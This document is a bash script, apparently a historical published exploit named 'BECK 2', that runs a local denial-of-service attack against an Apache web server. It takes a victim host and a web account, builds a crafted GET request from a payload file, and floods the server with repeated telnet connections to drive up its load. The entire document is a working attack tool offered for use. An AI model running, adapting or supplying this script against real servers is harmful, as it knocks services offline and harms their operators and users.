#!/bin/bash

echo
echo "BECK 2 -- Apache Denial of Sevices attack (local)"
echo "Author: Michal Zalewski <lcamtuf@boss.staszic.waw.pl>"
echo

if [ "$2" = "" ]; then
  echo "USAGE: $0 victim_host account"
  echo
  echo "  victim_host  - address of victim running Apache"
  echo "  account      - www account on victim machine"
  echo
  echo "NOTE: attack will be effective only when"
  echo "account has been successfully altered with"
  echo "'make_hell' script."
  echo
  exit 0
fi

LIMIT=30

if [ ! -f beck2.dat ]; then
  echo "ERROR: file 'beck2.dat' should be placed in current dir."
  echo
  exit 0
fi

echo -n "Creating temporary file... "
rm -f /tmp/beck2.tmp

if [ -f /tmp/beck2.tmp ]; then
  echo "FAILED"
  exit 0
fi

touch /tmp/beck2.tmp &>/dev/null

if [ ! -f /tmp/beck2.tmp ]; then
  echo "FAILED"
  exit 0
fi

echo "OK"

echo -n "GET /$2" >/tmp/beck2.tmp
cat beck2.dat >>/tmp/beck2.tmp

echo "Attacking $1 (thru account $2, $LIMIT connections) -- Ctrl+Z to abort."
echo "Their load average will soon climb higher heights."

while [ -f $0 ]; do
  telnet $1 80 </tmp/beck2.tmp &>/dev/null &
  CONNECTED=`ps|grep -c "telnet $1"`
  if [ "$LIMIT" -le "$CONNECTED" ]; then
    echo -n "Connections limit reached - waiting... "
    while [ "$LIMIT" -le "$CONNECTED" ]; do
      sleep 1
    done
    echo "OK"
  fi
done
